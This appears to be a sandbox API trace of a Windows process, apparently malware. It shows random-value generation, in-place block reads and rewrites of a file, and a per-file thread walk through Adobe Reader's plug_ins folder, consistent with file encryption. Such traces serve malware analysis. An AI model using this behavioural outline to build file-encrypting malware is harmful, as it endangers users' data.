	[0087.445] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.446] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.446] NtQuerySystemTime (in: CurrentTime=0x1c9bfc40 | out: CurrentTime=0x1c9bfc40*=132251868141788688) returned 0x0
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x439f61c7
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x46284be0
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xd1dee918
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x61996e66
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x94829b3d
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x530e8599
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x948ffc7c
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xce00905d
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x263fc050
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x56eabc37
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xc7b82e05
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xc70f99ab
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x7f6fae22
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xe5eb25a0
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x8a5edbba
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x1bae7d4e
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x7f3c93b9
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xd6bcfeb3
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x5214b4b0
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x8a4ba1fa
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x862da7a
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x9c4f2d16
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x83eeb0ad
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xecc10e4a
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xaa63fc1a
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x418041e9
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xbc270e67
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xc630f27e
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xb88f39df
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0x4bd6a8e0
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xf6098928
	[0087.446] RtlRandom (in: Seed=0x1c9bfc4c | out: Seed=0x1c9bfc4c) returned 0xf97a5576
	[0087.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0087.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0087.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.455] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.455] ReadFile (in: hFile=0x1ae4, lpBuffer=0x4895858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0087.457] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.458] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.458] WriteFile (in: hFile=0x1ae4, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0087.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.460] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.460] ReadFile (in: hFile=0x1ae4, lpBuffer=0x4895858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0087.461] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0087.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0087.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0087.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0087.463] WriteFile (in: hFile=0x1ae4, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0087.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.464] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x65cee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.464] ReadFile (in: hFile=0x1ae4, lpBuffer=0x4895858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0087.465] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x65cee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0087.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.467] WriteFile (in: hFile=0x1ae4, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1c9bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1c9bfbf8*=0xc800, lpOverlapped=0x0) returned 1
	[0093.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0093.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733e18
	[0093.134] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.134] WriteFile (hFile=0x1ae4, lpBuffer=0x2e33930, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x1c9bfca0, lpOverlapped=0x0) 

Thread:
	id = 779
	os_tid = 0x1b58

	[0079.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ec08
	[0079.456] wcscpy (in: _Dest=0x476ec08, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0079.456] wcscat (in: _Dest=0x476ec08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0079.456] wcscat (in: _Dest=0x476ec08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*"
	[0079.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde940
	[0079.456] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3a8
	[0087.408] wcscmp (_String1=".", _String2=".") returned 0
	[0087.408] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.409] wcscmp (_String1="..", _String2=".") returned 1
	[0087.409] wcscmp (_String1="..", _String2="..") returned 0
	[0087.409] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1
	[0087.409] wcscmp (_String1="Accessibility.api", _String2=".") returned 1
	[0087.409] wcscmp (_String1="Accessibility.api", _String2="..") returned 1
	[0087.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5d568
	[0087.409] wcscpy (in: _Dest=0x2d5d568, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0087.409] wcscat (in: _Dest=0x2d5d568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0087.409] wcscat (in: _Dest=0x2d5d568, _Source="Accessibility.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api"
	[0089.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5d568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4
	[0089.692] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1
	[0089.692] wcscmp (_String1="AcroForm", _String2=".") returned 1
	[0089.692] wcscmp (_String1="AcroForm", _String2="..") returned 1
	[0089.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e31d98
	[0089.692] wcscpy (in: _Dest=0x4e31d98, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.692] wcscat (in: _Dest=0x4e31d98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.692] wcscat (in: _Dest=0x4e31d98, _Source="AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm"
	[0089.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e31d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d30
	[0089.693] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1
	[0089.693] wcscmp (_String1="AcroForm.api", _String2=".") returned 1
	[0089.693] wcscmp (_String1="AcroForm.api", _String2="..") returned 1
	[0089.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894aa0
	[0089.693] wcscpy (in: _Dest=0x4894aa0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.693] wcscat (in: _Dest=0x4894aa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.693] wcscat (in: _Dest=0x4894aa0, _Source="AcroForm.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm.api"
	[0089.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d34
	[0089.694] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1
	[0089.694] wcscmp (_String1="Annotations", _String2=".") returned 1
	[0089.694] wcscmp (_String1="Annotations", _String2="..") returned 1
	[0089.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4893f60
	[0089.694] wcscpy (in: _Dest=0x4893f60, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.694] wcscat (in: _Dest=0x4893f60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.694] wcscat (in: _Dest=0x4893f60, _Source="Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations"
	[0089.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4893f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d38
	[0089.695] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1
	[0089.695] wcscmp (_String1="Annots.api", _String2=".") returned 1
	[0089.695] wcscmp (_String1="Annots.api", _String2="..") returned 1
	[0089.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894320
	[0089.695] wcscpy (in: _Dest=0x4894320, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.695] wcscat (in: _Dest=0x4894320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.695] wcscat (in: _Dest=0x4894320, _Source="Annots.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api"
	[0089.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d3c
	[0089.695] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1
	[0089.695] wcscmp (_String1="Checkers.api", _String2=".") returned 1
	[0089.695] wcscmp (_String1="Checkers.api", _String2="..") returned 1
	[0089.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4893880
	[0089.695] wcscpy (in: _Dest=0x4893880, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.695] wcscat (in: _Dest=0x4893880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.695] wcscat (in: _Dest=0x4893880, _Source="Checkers.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api"
	[0089.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4893880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d40
	[0089.696] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1
	[0089.696] wcscmp (_String1="DigSig.api", _String2=".") returned 1
	[0089.696] wcscmp (_String1="DigSig.api", _String2="..") returned 1
	[0089.696] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x48945a0
	[0089.696] wcscpy (in: _Dest=0x48945a0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins"
	[0089.696] wcscat (in: _Dest=0x48945a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\"
	[0089.696] wcscat (in: _Dest=0x48945a0, _Source="DigSig.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api"
	[0089.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48945a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d44
